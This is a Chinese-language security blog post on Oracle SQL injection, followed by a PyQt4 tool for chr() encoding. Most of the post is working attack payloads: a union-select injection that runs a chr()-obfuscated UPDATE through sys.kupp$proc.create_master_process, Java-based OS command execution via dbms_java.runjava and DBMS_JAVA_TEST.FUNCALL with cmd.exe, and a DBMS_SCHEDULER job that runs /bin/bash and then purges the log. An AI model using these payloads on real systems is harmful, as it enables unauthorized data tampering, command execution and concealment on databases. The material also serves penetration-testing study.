Oracle使用函数执行Java类、在注入语句中执行insert/update/delete语句

作者: RedFree 分类: Oracle 发布时间: 2017-02-14 22:46 ė1,616 次访问 6没有评论

0x00 前言

传统的注入技术中,我们可以确定是不可能在select的注入点后执行insert/update/delete语句的。但是在Oracle数据库中,sys.kupp$proc.create_master_process()函数允许(DBA权限)攻击者执行不同类型的子句。

0x01 注入增|删|改(11g R1 and R2)

test=2016' union select '1111111' as xh,(Select '1111' FROM DUAL where 2>sys.kupp$proc.create_master_process(chr(117)||chr(112)||chr(100)||chr(97)||chr(116)||chr(101)||chr(32)||chr(102)||chr(106)||chr(115)||chr(99)||chr(107)||chr(122)||chr(98)||chr(32)||chr(115)||chr(101)||chr(116)||chr(32)||chr(109)||chr(99)||chr(61)||chr(39)||chr(104)||chr(101)||chr(104)||chr(101)||chr(39)||chr(32)||chr(119)||chr(104)||chr(101)||chr(114)||chr(101)||chr(32)||chr(109)||chr(99)||chr(61)||chr(39)||chr(97)||chr(97)||chr(39)||chr(59)||chr(32)||chr(99)||chr(111)||chr(109)||chr(109)||chr(105)||chr(116)||chr(59))) from dual where 1=1 and '%25' = '

在这个实例中,在条件2>xx中,xx使用了sys.kupp$proc.create_master_process()执行了一个update语句(chr解码):

update fjsckzb set mc='hehe' where mc='aa'; commit;

请注入后面的commit,当语句是更新记录(增|删|改)时,commit是必须的。上面的例子我使用了union select来演示select后面的条件可包含更新记录的语句。

0x02 注入执行Java代码(11g R1 and R2)

select dbms_java.runjava('com/sun/tools/script/shell/Main -e "var p = java.lang.Runtime.getRuntime().exec(chr(119)||chr(104)||chr(111)||chr(97)||chr(109)||chr(105));"') from dual

0x03 注入调用Java类(10g R2, 11g R1 and R2)

Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c','dir >> c:\\test.txt') FROM DUAL

0x04 函数调用

SELECT SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHED ULER.create_program(''BSQLBFPROG'', ''EXECUTABLE'', ''/bin/bash -c whoami'', 0, TRUE);DBMS_SCHEDULER.create_job(job_name => ''BSQLBFJOB'', program_name => ''BSQLBFPROG'', start_date => NULL, repeat_interval => NULL, end_date => NULL, enabled => TRUE, auto_drop => TRUE);dbms_lock.sleep(1);DBMS_SCHEDULER.drop_pr ogram(PROGRAM_NAME => ''BSQLBFPROG'');DBMS_SCHEDULER.PURGE_LOG;') from dual

1.png

附:Oracle字符转换工具代码(pyqt4):

# -*- coding: utf-8 -*-

# Form implementation generated from reading ui file 'C:\360Downloads\OracleConvert.ui'
#
# Created by: RedFree
#
# WARNING! All changes made in this file will be lost!

from PyQt4 import QtCore, QtGui

try:
    _fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
    def _fromUtf8(s):
        return s

try:
    _encoding = QtGui.QApplication.UnicodeUTF8
    def _translate(context, text, disambig):
        return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
    def _translate(context, text, disambig):
        return QtGui.QApplication.translate(context, text, disambig)

class Ui_MainWindow(object):
    def setupUi(self, MainWindow):
        MainWindow.setObjectName(_fromUtf8("MainWindow"))
        MainWindow.resize(656, 401)
        self.centralWidget = QtGui.QWidget(MainWindow)
        self.centralWidget.setObjectName(_fromUtf8("centralWidget"))
        self.gridLayout = QtGui.QGridLayout(self.centralWidget)
        self.gridLayout.setMargin(0)
        self.gridLayout.setSpacing(0)
        self.gridLayout.setObjectName(_fromUtf8("gridLayout"))
        self.verticalLayout = QtGui.QVBoxLayout()
        self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
        self.textEdit = QtGui.QTextEdit(self.centralWidget)
        self.textEdit.setObjectName(_fromUtf8("textEdit"))
        self.verticalLayout.addWidget(self.textEdit)
        self.horizontalLayout = QtGui.QHBoxLayout()
        self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
        spacerItem = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
        self.horizontalLayout.addItem(spacerItem)
        self.pushButton_chr = QtGui.QPushButton(self.centralWidget)
        self.pushButton_chr.setObjectName(_fromUtf8("pushButton_chr"))
        self.horizontalLayout.addWidget(self.pushButton_chr)
        self.pushButton_str = QtGui.QPushButton(self.centralWidget)
        self.pushButton_str.setObjectName(_fromUtf8("pushButton_str"))
        self.horizontalLayout.addWidget(self.pushButton_str)
        spacerItem1 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
        self.horizontalLayout.addItem(spacerItem1)
        self.verticalLayout.addLayout(self.horizontalLayout)
        self.gridLayout.addLayout(self.verticalLayout, 0, 0, 1, 1)
        MainWindow.setCentralWidget(self.centralWidget)

        self.retranslateUi(MainWindow)
        QtCore.QObject.connect(self.pushButton_chr, QtCore.SIGNAL(_fromUtf8("clicked()")), self.str_to_chr)
        QtCore.QObject.connect(self.pushButton_str, QtCore.SIGNAL(_fromUtf8("clicked()")), self.chr_to_str)
        QtCore.QMetaObject.connectSlotsByName(MainWindow)

    def retranslateUi(self, MainWindow):
        MainWindow.setWindowTitle(_translate("MainWindow", "Oracle字符转换器", None))
        self.pushButton_chr.setText(_translate("MainWindow", "字符转Chr", None))
        self.pushButton_str.setText(_translate("MainWindow", "Chr转字符", None))
        
    def str_to_chr(self):
        source = str(self.textEdit.toPlainText())
        result = ""
        for s in source:
            result = result + "chr(%s)||" % str(ord(s))
        result = result.strip("||")
        self.textEdit.setPlainText(result)
        
    def chr_to_str(self):
        source = str(self.textEdit.toPlainText()).split("||")
        result = ""
        for s in source:
            num = (s.replace("chr(", "")).replace(")", "")
            result = result + chr(int(num))
        self.textEdit.setPlainText(result)
        


if __name__ == "__main__":
    import sys
    app = QtGui.QApplication(sys.argv)
    MainWindow = QtGui.QMainWindow()
    ui = Ui_MainWindow()
    ui.setupUi(MainWindow)
    MainWindow.show()
    sys.exit(app.exec_())

参考:

https://www.defcon.org/images/defcon-18/dc-18-presentations/Siddharth/DEFCON-18-Siddharth-Hacking-Oracle-From-Web.pdf

http://www.sql.ru/forum/1215457/ne-pozvolit-polzovatelu-chto-libo-polomat-v-baze

本文出自 RedFree's Blog,转载时请注明出处及相应链接。

本文永久链接: http://py4.me/blog/?p=451

发表评论

电子邮件地址不会被公开。

Ɣ回顶部